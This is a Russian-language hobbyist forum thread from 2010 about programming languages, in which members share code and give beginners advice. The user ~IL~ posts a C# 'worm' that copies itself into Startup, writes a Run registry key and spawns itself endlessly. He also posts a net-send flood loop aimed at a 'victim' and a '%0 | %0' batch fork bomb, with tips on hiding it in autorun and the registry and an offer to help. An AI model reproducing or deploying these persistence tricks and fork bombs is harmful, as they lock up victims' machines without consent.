Версия для печати темы

Нажмите сюда для просмотра этой темы в обычном формате

Форум Command & Conquer _ Разное _ Программирование

Автор: ~IL~ 10.6.2010, 9:35

здрасте все, кто сюда забрёл
всем форумчанам предлагаю поучаствовать в этой теме

мне хотелось бы, чтобы любители программирования (надеюсь таковые найдутся) поделились своим опытом друг с другом, а так же привлекали новичков в свои ряды. 54.gif

ещё неплохо было бы если бы вы написали, на чём вы программируете и в чём достоинства вашего языка или компилятора.

я недавно начал программировать на C#. компилятор SharpDevelop 3.2
мне нравится этот компилятор, очень удобный интерфейс, доступ к свойствам объектов открывается через точку, так же сразу создается ехе-файл, который готов к употреблению)

до этого писал простенькие программки типа калькулятора)
щас представляю на ваш суд код своего червячка))

показать офф-топ

using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;
using Microsoft.Win32;
using System.IO;
using System.Diagnostics;
using System.Resources;

namespace a
{
public partial class MainForm : Form
{
public MainForm()
{
Opacity = 0;
//InitializeComponent();
string my_program_path = Application.ExecutablePath.ToString(); //путь к нашей проге
string executable_file_path = "c:/documents and settings/all users/главное меню/программы/автозагрузка/err.exe"; //будущий путь к нашему вирусу

//копирование вируса в автозагрузку
if (!File.Exists(executable_file_path))
File.Copy(my_program_path, executable_file_path);

//запись в реестр
string reg_folder = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\";
RegistryKey reg = null;
reg = Registry.LocalMachine.OpenSubKey(reg_folder, true);
if (reg != null)
{
reg.SetValue("my_autorun", executable_file_path);
}

//тело вируса
while (true)
Process.Start(executable_file_path);

//удаление из реестра
//reg = Registry.LocalMachine.OpenSubKey(reg_folder, true);
//reg.DeleteValue("my_autorun");

}
}
}

кому что будет не понятно - с радостью объясню)


Эскизы прикрепленных изображений
Прикрепленное изображение Прикрепленное изображение

Автор: Nomad 10.6.2010, 10:01

Круть а мы сейчас в коледже Делфи проходим,ты как на счет Делфи 7?

Автор: Akellis 10.6.2010, 10:23

Когда программировал на Unity Javascript, пришлось его выучить =D
Сейчас, так как занимаюсь Саурсом, приходится программировать на C++. Слава богу есть средние знания, по крайней мере могу понять, где ошибка, с лёгкостью читать исходники =D

Автор: Kukov 10.6.2010, 10:55

Раньше с легкостью программировал на VB 6 и паскале, учился работать на с++ и с++.net , но егэ и прочие дела мешают заниматься программированием как хобби.

Использую майкрософт висуал студио - 8ую для с++ и какую то 99 года для VB 6

Автор: IwanS 10.6.2010, 12:30

Ох ну и тема 54.gif Программирую на QBasic, TPascal, C++, C#, есть проекты на Java (надо было написать, сам язык я не учил). Ну и традиционное PHP, JS и т.п. Лучше всего знаю PHP и C++. Проще всего программировать на C#, по-моему. Из сред использую Visual Studio 2008 и Borland Pascal 7 и MS QB1.0.

Что-нибудь показать... Ну на php написал вот это http://fs.xtud.ru/ и вот это http://math.xtud.ru/ . На C++ написал http://xtud.ru:8080/index.php/topic/24-создание-класса-и-подкласса/, просто демонстрация классов и наследований. Так, что еще... На паскале и басике ниче не хочу показывать, это детсад, http://admin-club.net/forum/8-13-1 25 страниц басикного кода, и это еще не считая удаленных сообщений, а то так было бы все 50.

В догонку хочу сказать, что программировать на чистом C# бессмысленно, любой программист C# должен уметь использовать .net библиотеки и знать об их функциях и возможностях, и очень желательно графику.

Какие мысли по этому поводу? Ненавижу задротство с типами данных в C++ ограниченность библиотеки math.h в вопросах работы с системами счисления.

Автор: Kukov 10.6.2010, 13:24

А вот код вируса я бы попросил удалить ибо без того этого Г хватает. 40.gif

Я бы тебе посоветовал не червяков писать, а что нить полезное.

Мой самый первый проект 54.gif делая его я обучался бейсику. )
Прикрепленный файл  ______________.rar ( 297.24 килобайт ) Кол-во скачиваний: 317

Автор: user№3213 10.6.2010, 14:03

можно один вопрос
для чего предназначены различные языки?
я не говорю конкретно какой, я спрашиваю в общем.

Автор: Kukov 10.6.2010, 14:14

Ну дак их писали разные люди для разных целей и каждый считает(ну наверняка) что его язык лучше(я знаю только 3 разных компилятора с++ а их скорее всего больше), другое дело что язык может устареть и потому сравнить паскаль и визуал С нельзя, ну только если синтаксис.

Другое обьяснение: вот скажем VB придуман специально для того что бы писали программы для виндоус, и он в люниске работать не будет.

Затем языки для веб технологий на с++ сайты не пишут а вот на PHP пишут

И так можно продолжать долго. Короче говоря каждый язык создан для своей ниши с целью переплюнуть конкурентов, или для того что бы упростить процесс создания программ(но и это селано что бы переплюнуть конкурентов XD)

Автор: ==CJ TPATOC== 10.6.2010, 14:43

Есть базовые знания Turbo Pascal и Borland Delphy. В основном программирую с помощью Action Script (специализированный язык). Опыт - более 5 лет.

Автор: Dukat863 10.6.2010, 16:08

Программирую на C++ и GML (Game Maker Language).

Люблю следующую конструкцию (интерпретатор позволяет):

показать офф-топ
Код
//GML, не C++

switch (true)
{
case (msg='help'):break;
case (msg='exit'):break;
}

Автор: ~IL~ 10.6.2010, 18:07

я пока ещё только начинающий программист, и буду очень рад сотрудничеству
я тут нашёл штуковину "индусский код"=) такая тема прикольная
вот http://lurkmore.ru/%D0%98%D0%BD%D0%B4%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9_%D0%BA%D0%BE%D0%B4 больше всего радует пример №4 54.gif
и ещё быдлокод на C++, где заменяются команды языка на свои) и пишешь в свободном стиле
кстати этот код компилируется и исполняется (считает элементы массива, и ещё чё-то...)
быдлокод прикрепляю в файле, потому что там много мата))) компилятор нашего форума не одобрит)


Прикрепленные файлы
Прикрепленный файл  __.rar ( 70 байт ) Кол-во скачиваний: 211

Автор: Anubis 10.6.2010, 19:01

Шикарная ссылка)))

Автор: ~IL~ 10.6.2010, 19:11

Цитата(Nomad @ 10.6.2010, 11:01) *

Круть а мы сейчас в коледже Делфи проходим,ты как на счет Делфи 7?

честно говоря никак)
мы прошли С++ и С#-немного... у нас препод пишет проги на C# в основном.
ночами работает, на парах спит.
в школе проходил Q-Basic и Turbo Pascal
паскаль прошел мимо))) да и бейсик уже плохо помню)

Цитата(IwanS @ 10.6.2010, 13:30) *

http://math.xtud.ru/

=) прикольно. эт ты типа для каждого значения х считал значение функции и умножал на шаг, потом складывал?))
это на PHP сделано? просто вроде это можно сделать ещё точнее стандартными средствами языка, по крайней мере я думаю в си это можно реализовать...

у меня завтра как раз экзамен по статистике) там есть вопрос об интервальных статистических рядах... такая муть..

Автор: IwanS 10.6.2010, 20:01

Цитата
=) прикольно. эт ты типа для каждого значения х считал значение функции и умножал на шаг, потом складывал?))это на PHP сделано? просто вроде это можно сделать ещё точнее стандартными средствами языка, по крайней мере я думаю в си это можно реализовать...

На си есть стандартная функция вычисления определенного интеграла, это понятно. Но в PHP нет никаких средств для решения интегралов, вот и приходится методом трапеций считать. Конечно, можно найти первообразную, но это задротство.

Код этой фигни, которую я сделал, вот:

показать офф-топ
Код
<?php

function funcparce($x, $func) {
    $func = str_replace('x', '$_SESSION["x"]', $func);
    $_SESSION["x"] = $x;
    if (!file_exists('./exec.php')) {
        $fid = fopen('./exec.php', 'wt');
        fwrite($fid, '<?PHP $_SESSION["result"] = '.$func.'; ?>');
        fflush($fid);
        fclose($fid);
    }
    require('./exec.php');
    $result = $_SESSION['result'];
    return $result;
    }

$_SESSION['title'] = 'Определенный интеграл';

include '../tpl/header.php';

if ($_POST['step'] == '') $_POST['step'] = '0.0001';
if ($_POST['step'] < 0.0001) $_POST['step'] = '0.0001';

echo '<center><form action="./index.php" method="post"><table border="0" width="300px">';
echo '<tr><td width="30px"><input type="text" size="2" name="up" value="'.$_POST['up'].'"></td><td></td></tr>';
echo '<tr><td width="30px"><img src="int.png"></td><td><input type="text" size="30" name="int" value="'.$_POST['int'].'">&nbsp;<i>dx</i></td></tr>';
echo '<tr><td width="30px"><input type="text" size="2" name="dn" value="'.$_POST['dn'].'"></td><td></td></tr>';
echo '</table>Укажите точность: <input type="text" size="5" name="step" value="'.$_POST['step'].'">&nbsp;<input type="submit" value="РЕШИТЬ!"></form></center>';

echo '<div class="topinfo"><b>Внимание: </b>функция степени пишется как pow(основание, степень). Если интеграл не решается, нажать <a href="./fix.php">сюда</a> и попробовать снова! Если интеграл все равно не считается (в случае если пределы интегрирования отличаются значительно, поставьте меньшую точность.</div><br>';

if ($_POST['int'] != '') {
    if ($_POST['up'] > $_POST['dn']) { $up = $_POST['up']; $x = $_POST['dn']; $mn = 1; } else { $up = $_POST['dn']; $x = $_POST['up']; $mn = -1; }
    $step = $_POST['step'];
    $y = funcparce($x, $_POST['int']);
    while ($x <= $up) {
        $pry = $y;
        $x = $x + $step;
        $y = funcparce($x, $_POST['int']);
        $fsum = $fsum + ($pry + $y)*$step/2;
        }
    unlink('./exec.php');
    $fsum = $fsum * $mn;
    if ($_POST['up'] == $_POST['dn']) $fsum = 0;
    echo 'Искомый интеграл = '.$fsum;
    }

include '../tpl/footer.php';

?>




Кстати вдогонку насчет индусского программирования. Вот вам прога, где идет генерация из одного RND, то есть обычная ситуация:

показать офф-топ
Код
CLS
RANDOMIZE TIMER
DIM a(10)
INPUT "Vvesti N: ", n
FOR j = 1 TO n
x = INT(RND * 10 + 1)
a(x) = a(x) + 1
NEXT j
FOR i = 1 TO 10
PRINT i; "("; a(i); ")", " = ";
FOR j = 1 TO INT(a(i) / n * 100)
PRINT "#";
NEXT j
PRINT
NEXT i


А вот прога, где идет то что упомянуто в статье, то есть (RND+RND+RND)/3:

показать офф-топ
Код
CLS
RANDOMIZE TIMER
DIM a(10)
INPUT "Vvesti N: ", n
FOR j = 1 TO n
x = INT((RND + RND + RND) / 3 * 10 + 1)
a(x) = a(x) + 1
NEXT j
FOR i = 1 TO 10
PRINT i; "("; a(i); ")", " = ";
FOR j = 1 TO INT(a(i) / n * 100)
PRINT "#";
NEXT j
PRINT
NEXT i


Для тех кто в танке, N = количество проходов, имеет смысл ставить значение 1000...1000000, лучше конечно миллион.

Обратите внимание на распределение случайной величины в зависимости от одного рандомайза, и трех. Вывод очевиден - при одном видим равномерное распределение, при трех - нормальное. Но это в QBasic, в C++ сделаю такое чуть попозже...

Автор: LostLegion 10.6.2010, 20:31

А я вот не умею пока программировать) Посоветуйте с чего лучше начинать 54.gif

Автор: Avenger 10.6.2010, 21:08

Цитата(LostLegion @ 10.6.2010, 21:31) *

А я вот не умею пока программировать) Посоветуйте с чего лучше начинать 54.gif

Думаю лучше с Паскаля. Старая школа...

Автор: ~IL~ 10.6.2010, 21:23

Цитата(Avenger @ 10.6.2010, 22:08) *

Думаю лучше с Паскаля. Старая школа...

мне кажется не важно с чего начинать
лучше уже сразу с того языка, который тебе нужен
главное - хороший учебник.. или учитель)

Автор: IwanS 10.6.2010, 21:53

Ни в коем случае не с паскаля,он сейчас нафиг никому не нужен. Лучше с С++.

Кстати насчет генерации случайных чисел в C++:

Вот прога, которая генерирует числа с одним rand():

показать офф-топ
Код
#include "stdafx.h"
#include <iostream>
#include <time.h>
using namespace std;

int main() {
    int n, cnt, cnt2, x; int w[10] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
    srand(time(NULL));
    
    cout << "Enter cycles reply: ";
    cin >> n;
    for (cnt = 1; cnt < n; cnt++) {
        x = (int)(rand() % 10)+1;
        w[x] = w[x] + 1;
    }
    cout << endl;
    for (cnt = 1; cnt < 10; cnt++) {
        cout << cnt << " (" << w[cnt] << ") = \t";
        for (int cnt2 = 1; cnt2 < (w[cnt] * 100 / n); cnt2++) cout << "#";
        cout << endl;
    }
    cin >> cnt2;
    return 0;
}


а вот прога, которая делает то же самое с тремя rand():

показать офф-топ
Код
#include "stdafx.h"
#include <iostream>
#include <time.h>
using namespace std;

int main() {
    int n, cnt, cnt2, x; int w[10] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
    srand(time(NULL));
    
    cout << "Enter cycles reply: ";
    cin >> n;
    for (cnt = 1; cnt < n; cnt++) {
        x = (int)((rand()+rand()+rand()) / 3 % 10)+1;
        w[x] = w[x] + 1;
    }
    cout << endl;
    for (cnt = 1; cnt < 10; cnt++) {
        cout << cnt << " (" << w[cnt] << ") = \t";
        for (int cnt2 = 1; cnt2 < (w[cnt] * 100 / n); cnt2++) cout << "#";
        cout << endl;
    }
    cin >> cnt2;
    return 0;
}


Вот такие пироги. Так что если кто-то из вас умеет программировать, вперед проверять гипотезу о нормальном распределении среднеарифметического трех случайных.

Автор: Avenger 10.6.2010, 22:02

Да, ладно. В Паскале всё очень просто и доступно изложено. Это как стартовая площадка.

Цитата(IwanS @ 10.6.2010, 22:53) *

Ни в коем случае не с паскаля,он сейчас нафиг никому не нужен. Лучше с С++.

Верно, он никому не нужен. Но что бы понять основы, он подойдёт.

Автор: IwanS 10.6.2010, 22:12

Цитата
Верно, он никому не нужен. Но что бы понять основы, он подойдёт.

Нет, он дает дурные привычки типа не надо инициализировать переменные значениями. Дело ваше, я не рекомендую начинать с паскаля. С++ лучше для новичков и профессионалов. Это базовый язык современности.

Автор: Avenger 10.6.2010, 22:17

Цитата(IwanS @ 10.6.2010, 23:12) *

Нет, он дает дурные привычки типа не надо инициализировать переменные значениями. Дело ваше, я не рекомендую начинать с паскаля. С++ лучше для новичков и профессионалов. Это базовый язык современности.

Да, современности. Он мне и сам нравиться. Но сейчас некоторые пользователи начинают перебираться на Java.

Автор: Nomad 10.6.2010, 22:18

ИМХО паскль бред,сидишь долбишь по клавишам выводиш листинг который в делфи за секунду готов(правда говорят что С++ еще легче делфи)

Автор: Avenger 10.6.2010, 22:22

Цитата(Nomad @ 10.6.2010, 23:18) *

ИМХО паскль бред,сидишь долбишь по клавишам выводиш листинг который в делфи за секунду готов(правда говорят что С++ еще легче делфи)

Отжог... 06.gif Ты только что полностью повторил слова нашего преподавателя. Он говорил ту же вещь только про C++ и Java.

Автор: ==CJ TPATOC== 10.6.2010, 22:24

Цитата(LostLegion @ 10.6.2010, 21:31) *

А я вот не умею пока программировать) Посоветуйте с чего лучше начинать 54.gif

Паскаль, Бейсик, просто логику поизучай, пригодится в жизни, если ты технарь 64.gif

А я сейчас оптимизацией графики и кода занимаюсь. Осталось почитать о симбиозе Delphi и Flash, эта штука может серьезно повысить скорость обработки кода. Так что мой двиг для Flash скоро будет готов 27.gif , и если я это сделаю, то я перейду на другие языки.

Автор: ~IL~ 11.6.2010, 0:15

Цитата(IwanS @ 10.6.2010, 21:01) *

Вывод очевиден - при одном видим равномерное распределение, при трех - нормальное. Но это в QBasic, в C++ сделаю такое чуть попозже...

я попробовал
и действительно!!
я в шоке!! 08.gif
спасибо, иванс) завтра буду мучать препода 18.gif
зы. точнее сегодня)

Автор: Nomad 11.6.2010, 9:55

Цитата(Avenger @ 10.6.2010, 22:22) *

Отжог... 06.gif Ты только что полностью повторил слова нашего преподавателя. Он говорил ту же вещь только про C++ и Java.

Нет ну серьезно 54.gif
Один раз нам на паре дали задания запрограммировать приложение которое бы квадратный корень искало,я сидел час с лишним долбил по клавишам набирал листинг,потом остаеться 15 до конца пары и тут хопа,это падло не запускается 36.gif ,я зову препода он смотрит код,ищет ошибку 10 мин искали не нашли,пара кончилась

Вообщем теперь программирование в Паскале сниться теперь мне в страшных кошмарах

Автор: Dukat863 11.6.2010, 10:35

Цитата(Nomad @ 11.6.2010, 10:55) *

Нет ну серьезно 54.gif
Один раз нам на паре дали задания запрограммировать приложение которое бы квадратный корень искало,я сидел час с лишним долбил по клавишам набирал листинг,потом остаеться 15 до конца пары и тут хопа,это падло не запускается 36.gif ,я зову препода он смотрит код,ищет ошибку 10 мин искали не нашли,пара кончилась

Вообщем теперь программирование в Паскале сниться теперь мне в страшных кошмарах

Код
//С++
sqrt(/*число*/);

Вот тебе и ответ 16.gif

Я советую начинать с бейсика.

Автор: IwanS 11.6.2010, 13:18

Цитата
Один раз нам на паре дали задания запрограммировать приложение которое бы квадратный корень искало,я сидел час с лишним долбил по клавишам набирал листинг,потом остаеться 15 до конца пары и тут хопа,это падло не запускается ,я зову препода он смотрит код,ищет ошибку 10 мин искали не нашли,пара кончилась

Ох и программисты у вас (у меня ушло 2 минуты)...

Код
uses crt;
var
   a : real;
begin
     clrscr;
     write('Input value: ');
     readln(a);
     writeln ('Sqrt of values ', a:4:2, ' = ', sqrt(a):4:2);
     readkey;
end.


Цитата
Я советую начинать с бейсика.

Изображение

Автор: ~IL~ 11.6.2010, 18:13

Цитата(~IL~ @ 11.6.2010, 1:15) *

я попробовал
и действительно!!
я в шоке!! 08.gif
спасибо, иванс) завтра буду мучать препода 18.gif
зы. точнее сегодня)

цитирую сам себя, ибо понял в чём фишка))
препода мучить не пришлось)
очевидно, что вероятность нахождения двух и более случайных величин по разные стороны от центра больше, чем по одну сторону, значит и их средняя будет ближе к центру, вот и холмик))
хотя насчёт нормального распределения я бы не стал так категорически заявлять... но в пределе это однозначно будет нормальным

что насчёт "с чего начать программировать?" думаю всё таки лучше C# ну или C++, потому что там есть MSDN на русском языке, можно зайти и посмотреть чё да как, да и форумов на эту тему больше.. и сама логика языка заставляет писать правильный код...
как сказал наш препод, если вы не знаете как именно надо писать, но вам кажется что надо так, то скорее всего так и надо)

Цитата(IwanS @ 11.6.2010, 14:18) *

Ох и программисты у вас (у меня ушло 2 минуты)...

Код
uses crt;
var
   a : real;
begin
     clrscr;
     write('Input value: ');
     readln(a);
     writeln ('Sqrt of values ', a:4:2, ' = ', sqrt(a):4:2);
     readkey;
end.


пробовал написать..
пишет инвалид файл нейм. еррор 14.
имя вроде английское
хотя я хотел спросить только что означает a:4:2
просто я уже очень давно на нем ниче не делал)

Автор: Avenger 11.6.2010, 18:22

Мне предстоит задача - написать на С++ Генетический алгоритм. 39.gif

Автор: IwanS 11.6.2010, 19:44

Цитата
пробовал написать..пишет инвалид файл нейм. еррор 14.

Неверно указан рабочий каталог или файл библиотек. Прога рабочая 100%.

Насчет нормального распределения... х\з, х\з. Я не хочу даже думать об этом.

Автор: ~IL~ 12.6.2010, 9:18

представляю еще один каверзный код на C# =)
с помощью него можно заспамить кого-нибудь сообщениями
единственная проблема - служба сообщений, она отключена по умолчанию
панель управления - администрирование - службы

если вам удастся запустить эту службу на чужом компе, тогда этим кодом можно немного пошалить)))

показать офф-топ

using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;
using System.Diagnostics;

namespace OXO
{
public partial class MainForm : Form
{
public MainForm()
{
InitializeComponent();
while (true)
Process.Start("net", "send 192.168.3.155 Привет!");
}
}
}


вот то что ваша жертва будет видеть на экране, причём кликать на OK бесполезно) ибо там ещё сотни таких окошек 18.gif

зы. до среды меня не будет, присылайте свои интересные коды и идеи!=)


Эскизы прикрепленных изображений
Прикрепленное изображение

Автор: IwanS 12.6.2010, 9:43

Цитата
представляю еще один каверзный код на C# =)с помощью него можно заспамить кого-нибудь сообщениями

Фишка в том что ты сам не сможешь вырубить программу, только через диспетчер задач и она будет и у тебя хавать ресурсы. Можно было сделать какой-нибудь триггер на остановку и паузу между вызовами net send.

Автор: ~IL~ 14.6.2010, 19:45

Цитата(IwanS @ 12.6.2010, 10:43) *

Фишка в том что ты сам не сможешь вырубить программу, только через диспетчер задач и она будет и у тебя хавать ресурсы. Можно было сделать какой-нибудь триггер на остановку и паузу между вызовами net send.

вообще-то нет.. там просто у тебя вылезает пустое окошко, когда ты его закрываешь, прога останавливается))
пардон, скоро переделаю)

Автор: MiG-27 24.6.2010, 15:24

Ну, собственно и я тудь отпостюсь)
пытался програмировать на Pas Delfi Basic PHP и много еще на чем
Реально програмироваю: C++ HTML java script =)

Автор: user№3213 24.6.2010, 15:28

HTML это не язык программирования) сам имею опыт работы на нём, одна проблема, практики нет 48.gif 17.gif

Автор: MiG-27 26.6.2010, 18:11

как не язык?
как нет практики?
заходи на юкоз и ваяй)

Автор: IwanS 27.6.2010, 5:03

Язык программирования - это такой, который может что-то посчитать. HTML не может сделать абсолютно ничего, он может только выводить всегда одинаковую страницу. Вывод: HTML - язык разметки.

Кстати на uCoz используется не HTML, а их собственный основанный на HTML код. Добавки - это операторы и переменные.

Автор: Dukat863 29.6.2010, 13:10

Решил почитать эл. книгу по Ассемблеру. Прочитал чуть-чуть и уже голова болит... 16.gif

Автор: Diamond00744 25.7.2010, 21:45

Немного знаю Pascal и Delphi.

http://diamond00744.do.am/products/bn_1.1rc2.exe, http://diamond00744.do.am/products/bn_skins.rar, http://diamond00744.do.am/products/calculater_1.0a.exe, http://diamond00744.do.am/products/monres_1.0a.exe, http://diamond00744.do.am/products/sphere_0.1test.exe, http://diamond00744.do.am/products/vinomp_0.1test.exe, http://diamond00744.do.am/products/freevk_1.0.exe

----------------------------------------
ФАЙЛЫ БЕЗ ВИРУСОВ! ПРОВЕРЕНО VIRUSTOTAL
----------------------------------------

Автор: Bonpoc4er 25.7.2010, 21:47

Diamond00744
а бесплатные голоса работают? ))

Автор: ==CJ TPATOC== 25.7.2010, 21:48

Цитата(Diamond00744 @ 25.7.2010, 22:45) *

И все недоделано 18.gif

Не удивляйся, у меня тоже много недоделано. Это бывает так, раз - идейка, поделаем ее немного, потом уже надоедает. Лично у меня так.

Автор: Diamond00744 25.7.2010, 22:13

BONPOC 4 ER, скачай и посуди сам)))

Автор: Щука Карась 26.7.2010, 15:20

Хммм не кидайтесь в меня тухлым тиберием но я пока только турбо паскаль осваиваю. С оператором case пытаюсь разобраться...

Автор: Diamond00744 26.7.2010, 23:23

Цитата
Лет в интернете: 4-5

Ничего, еще все впереди. Будешь программистом и сделаешь программу для воспроизведения голограмм в Intel.

Автор: Dukat863 27.7.2010, 16:13

Цитата(Diamond00744 @ 27.7.2010, 0:23) *

Ничего, еще все впереди. Будешь программистом и сделаешь программу для воспроизведения голограмм в Intel.

Голограммы?
показать офф-топ
Изображение
Изображение
Изображение
Изображение
Изображение

Уже поздно...

Автор: Diamond00744 27.7.2010, 16:15

Вот когда они в повседневную жизнь войдут, ты их новые и будешь разрабатывать.
"Мониторы? Уже поздно! Ан нет! Придумаю ка я ЖК монитор!"
Вот так же и ты!

Автор: Kukov 27.7.2010, 17:59

Цитата(Diamond00744 @ 25.7.2010, 22:13) *

BONPOC 4 ER, скачай и посуди сам)))

Кстати качаете вы это на свой страх и риск 16.gif

Автор: Diamond00744 27.7.2010, 18:31

Я писал эту прогу на Delphi. Все чисто. У меня NOD32.

Отправил на VirusTotal. Он проверил этот архив 41 антивирусами. 13 что-то обнаружили.

http://www.virustotal.com/ru/analisis/93d86cfef139f932e44e99b526aec7952c8b6a9342a82a63279b446135b02135-1280242842

Хотя файл EXE уже кто-то до меня проверял. Результат http://www.virustotal.com/ru/analisis/d5a3d6b0ca34a34a83943122c19a5e3eb8dd86e1a600d7ec4453d0b13d926014-1277380412 - 4/41

Неужели мои работы в вирусах?

Отправил "Разрешение экрана" туда же. Результат: 0 (http://www.virustotal.com/ru/analisis/ad55fece54ab7c0c1f15b39f19c31c5cf0f99eb7cf2e2fa8f7c1cd7e2a1091d7-1280244311)

Автор: IwanS 27.7.2010, 19:09

Diamond00744, может ты библиотеку какую-то специфическую использовал там? Ведь не обязательно вся прога вирус, достаточно одну функцию какую-то.

P.S: я знаю о вирусах, которые сами приписываются к проектам на делфи и при компиляции включаются в них. То есть рекомендую открыть исходный проект и посмотреть подключаемые модули.

Автор: Diamond00744 27.7.2010, 19:16

IwanS спасибо тебе огромное за понимание, я думал, меня с форума отправят куда подальше.

Я только в этой программе использовал сжатие UPX. Снизился размер с 1,6 Мб до где-то 400-600 Кб. Может, оно вызывает подозрение.

Нет, пересобрал EXE. Без сжатия и архивации отправил на VirusTotal. 6/42. Это не UPX. Возможно, простые слова "бесплатные голоса в контакте" вызывают подозрения у антивирусов =)).

Еще возможность, почему определяется вирусом - у меня при нажатии на кнопку подряд выводятся 10 окон с сообщениями (не одновременно, а первое окно - ОК - второе - ОК - третье...). Это возможно?

Программа пароля не просит, сис. файлы не меняет, в Интернет не выходит

Автор: IwanS 27.7.2010, 19:21

Diamond00744, а ты не мог бы дать листинг заголовка твоего проекта. Ну где uses <....> и до слова begin. Верхнюю часть основного файла. Мне интересно, какие библиотеки ты используешь, может быть дело в них.

P.S: Я в свое время упаковывал приложения с помощью ASPack (кажется так), проблем с ошибочным определением вирусов не было.

Насчет 10 подряд окошек... я так не делал, сказать ничего не могу. Теоретически возможно, но это было бы глупостью...

Автор: Diamond00744 27.7.2010, 19:30

Уменьшил кол-во окон с сообщениями до трех. Результат уже не 6/42, а 4/42

Я в uses все уменьшил до минимума, еще раз отправил на VirusTotal. - 4/42

uses
Windows, Messages, SysUtils, Forms,
Dialogs, ExtCtrls, pngimage, Controls, Classes, StdCtrls;

http://www.virustotal.com/ru/analisis/d5a3d6b0ca34a34a83943122c19a5e3eb8dd86e1a600d7ec4453d0b13d926014-1277380412
Вот эти 4 подозрения

Автор: IwanS 27.7.2010, 19:37

Diamond00744, это не серьезно. Какие-то 4 неизвестных антивируса детектят эвристикой чего-то невнятное (причем обрати внимание - одно и то же, скорее всего одни и те же базы кроме нормана) - это даже смотреть не стоит 20.gif . Если касперский + дрвеб + нод32 + аваст ничего не видят - все норм.

Автор: Diamond00744 27.7.2010, 20:03

Ладно, последний момент: сжал UPX-ом, отправил, тоже 4/42

Остальное без вирусов

Автор: ~IL~ 7.11.2010, 23:34

одну фишку вспомнил
мне тут один чел показал, теперь я вам показываю) но это все программисты наверно знают..
создаёте текстовый файл и пишете там
%0 | %0
сохраняете под расширением *.cmd
если вам удастся запустить его и вырубить хотя бы через диспетчер задач, тогда придётся немного усложнить
%0 | %0 | %0
18.gif
если и это вас не убеждает, можно написать так
123
0% | %0
пробуем, тестируем, издеваемся над юзерами)
самый простой способ запихать в автозагрузу
а ещё лучше в реестре прописать (для тех кто в танке Пуск-выполнить-regedit)
в каталоге HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run создаем строковый параметр и в поле "Значение" задаём путь к нашему любимому *.cmd =)
если вы хотите насолить опытному юзеру, придётся помаксимуму замаскировать его (ну, здесь уж кто на что горазд, главное, чтобы в процессах и в реестре название казалось безобидным=))
если у вас на всё это мало времени, то можно написать программку, которая сделает это за вас. я готов помочь если что))

Автор: Diamond00744 8.11.2010, 13:23

~IL~, это полное издевательство... 18.gif

Автор: ~IL~ 13.11.2010, 20:14

есть такая интересная штука - http://ru.wikipedia.org/wiki/%D0%A4%D1%80%D0%B0%D0%BA%D1%82%D0%B0%D0%BB.
самый известный фрактал - http://ru.wikipedia.org/wiki/%D0%9C%D0%BD%D0%BE%D0%B6%D0%B5%D1%81%D1%82%D0%B2%D0%BE_%D0%9C%D0%B0%D0%BD%D0%B4%D0%B5%D0%BB%D1%8C%D0%B1%D1%80%D0%BE%D1%82%D0%B0.
мне удалось раздобыть исходный код построения этого чудо-рисунка на C#

показать офф-топ

// <remarks>
// Mandel.cs Copyright 2005, written by Pierre Leclercq
// </remarks>

namespace Mandelbrot
{
public class Mandel
{
//
// Protected fields
//

protected System.Windows.Forms.ProgressBar m_ProgressBar;

//
// Constructor
//

public Mandel(System.Windows.Forms.ProgressBar pProgressBar)
{
m_ProgressBar = pProgressBar;
}

//
// Properties
//

//
// Public members
//

public System.Drawing.Bitmap GetBitmap(
int pImageWidth,
int pImageHeight,
double pXMin,
double pXMax,
double pYMin,
double pYMax,
int pMaxIterationCount)
{
try
{
int i = 0;
int j = 0;
int[][] lValues = new int[pImageHeight][];

for (i = 0; i < pImageHeight; i++)
{
lValues[i] = new int[pImageWidth];
}

CalculateLevels(
lValues,
pImageWidth,
pImageHeight,
pXMin,
pXMax,
pYMin,
pYMax,
pMaxIterationCount);

System.Drawing.Bitmap lBitmap = new System.Drawing.Bitmap(pImageWidth, pImageHeight, System.Drawing.Imaging.PixelFormat.Format32bppArgb);

byte lRed = 0;
byte lGreen = 0;
byte lBlue = 0;
int lPixelByteCount = 4;
int lAlphaPos = 3;
int lRedPos = 2;
int lGreenPos = 1;
int lBluePos = 0;
int lPixelCount = pImageHeight * pImageWidth;
int lPixelPos = 0;

m_ProgressBar.Minimum = 0;
m_ProgressBar.Maximum = lPixelCount;
m_ProgressBar.Value = 0;

System.Drawing.Imaging.BitmapData lBitmapData = new System.Drawing.Imaging.BitmapData();

lBitmap.LockBits(
new System.Drawing.Rectangle(
0,
0,
pImageWidth,
pImageHeight),
System.Drawing.Imaging.ImageLockMode.WriteOnly,
System.Drawing.Imaging.PixelFormat.Format32bppArgb,
lBitmapData);

unsafe
{
System.Byte* lStartPtr = (System.Byte*)((void*)lBitmapData.Scan0);
int lEndToStart = lBitmapData.Stride - pImageWidth * lPixelByteCount;
System.Byte* lPtr = lStartPtr;

for (j = 0; j < pImageHeight; j++)
{
for (i = 0; i < pImageWidth; i++)
{
GetColorFromLevel(
lValues[j][i],
pMaxIterationCount,
out lRed,
out lGreen,
out lBlue);

lPtr[lAlphaPos] = 255;
lPtr[lRedPos] = lRed;
lPtr[lGreenPos] = lGreen;
lPtr[lBluePos] = lBlue;

lPtr += lPixelByteCount;
lPixelPos++;
}

lPtr += lEndToStart;

m_ProgressBar.Value = lPixelPos;
System.Windows.Forms.Application.DoEvents();
}
}

lBitmap.UnlockBits(lBitmapData);

return lBitmap;
}
catch
{
return null;
}
}

//
// Protected members
//

protected double GetPotential(
double pX,
double pY,
int pMaxIterationCount)
{
int lIteration = 0;
double lX = pX;
double lY = pY;
double lX2 = lX * lX;
double lY2 = lY * lY;
double lTemp = 0;

while ((lIteration < pMaxIterationCount) && ((lX2 + lY2) < 10000.0))
{
lTemp = lX2 - lY2 + pX;
lY = 2 * lX * lY + pY;
lX = lTemp;
lX2 = lX * lX;
lY2 = lY * lY;
lIteration++;
}

if (lIteration < pMaxIterationCount)
{
return 0.5 * System.Math.Log(lX2 + lY2) / System.Math.Pow(2.0, (double)lIteration);
}
else
{
return 0.0;
}
}

protected int GetLevel(
double pX,
double pY,
int pMaxIterationCount)
{
int lIteration = 0;
